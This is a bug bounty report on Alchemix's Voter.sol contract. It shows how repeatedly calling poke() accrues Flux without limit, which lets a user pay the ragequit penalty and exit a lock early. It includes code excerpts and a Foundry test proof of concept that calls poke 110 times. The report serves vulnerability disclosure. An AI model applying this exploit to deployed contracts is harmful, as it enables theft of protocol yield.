Submitted on May 7th 2024 at 21:34:31 UTC by @dirtymic for Boost | Alchemix
Report ID: #30906
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol
Impacts:
- Theft of unclaimed yield
After a user votes, they can call poke however many times they want. This accrues Flux each time it recasts their vote. Giving them access to either Ragequit and withdraw early or leave the unclaimed flux and max boost their future votes, as well as walk away with leftover Flux tokens.
Once a user votes, they cannot vote again until the next epoch. However Voter.poke()
can be called at any time. In the poke
function _vote
is called.
In _vote
there is a call to the flux token contract that accrues unclaimed Flux.
...
_reset(_tokenId);
uint256 _poolCnt = _poolVote.length;
uint256 _totalVoteWeight = 0;
uint256 _totalWeight = 0;
for (uint256 i = 0; i < _poolCnt; i++) {
_totalVoteWeight += _weights[i];
}
IFluxToken(FLUX).accrueFlux(_tokenId);
...
This accrues the unclaimed Flux balance of the _tokenId by the amount of claimableFlux
received from the VotingEscrow.sol contract
function claimableFlux(uint256 _tokenId) public view returns (uint256) {
// If the lock is expired, no flux is claimable at the current epoch
if (block.timestamp > locked[_tokenId].end) {
return 0;
}
// Amount of flux claimable is <fluxPerVeALCX> percent of the balance
return (_balanceOfTokenAt(_tokenId, block.timestamp) * fluxPerVeALCX) / BPS;
}
Poke can be called at whim after a user has voted allowing a user to accrue Flux whenever they want. The amount of Flux accrued grows in proportion to the balance of veALCX of a tokenId.
A user can accrue Flux at an abnormal rate using poke()
, this allows a user to exit from a lock within 1 epoch by calling poke()
enough times to accrue a large enough balance to pay the Ragequit penalty. If a user were to create a lock with 1 token, vote, and then call poke 110 times. They would have enough Flux to pay the penalty and walk away with 7.5 Flux tokens.
A user also has the option to leave the unclaimed Flux and use it to max boost their future votes.
Poke: https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L194-L212 _vote: https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L412-L455 accrueFlux: https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/FluxToken.sol#L187-L192 claimableFlux: https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L376-L385
This was written in the provided Voting.t.sol
function testVoteAndPoke() public {
uint256 tokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
hevm.startPrank(admin);
hevm.warp(block.timestamp + nextEpoch);
address[] memory pools = new address[](1);
pools[0] = alETHPool;
uint256[] memory weights = new uint256[](1);
weights[0] = 5000;
voter.vote(tokenId, pools, weights, 0);
for (uint i = 0; i < 110; i++) {
voter.poke(tokenId);
}
address[] memory poolVote = voter.getPoolVote(tokenId);
assertEq(poolVote[0], alETHPool);
uint256 penaltyAmount = veALCX.amountToRagequit(tokenId);
flux.claimFlux(tokenId, penaltyAmount);
flux.approve(address(veALCX), penaltyAmount);
veALCX.startCooldown(tokenId);
hevm.warp(block.timestamp + nextEpoch);
voter.reset(tokenId);
uint256 flux1 = flux.unclaimedFlux(tokenId);
veALCX.withdraw(tokenId);
uint256 fluxBalanceAfter = flux.balanceOf(admin);
assertEq(fluxBalanceAfter, flux1);
emit Message("Admin balance after withdraw", IERC20(bpt).balanceOf(admin));
}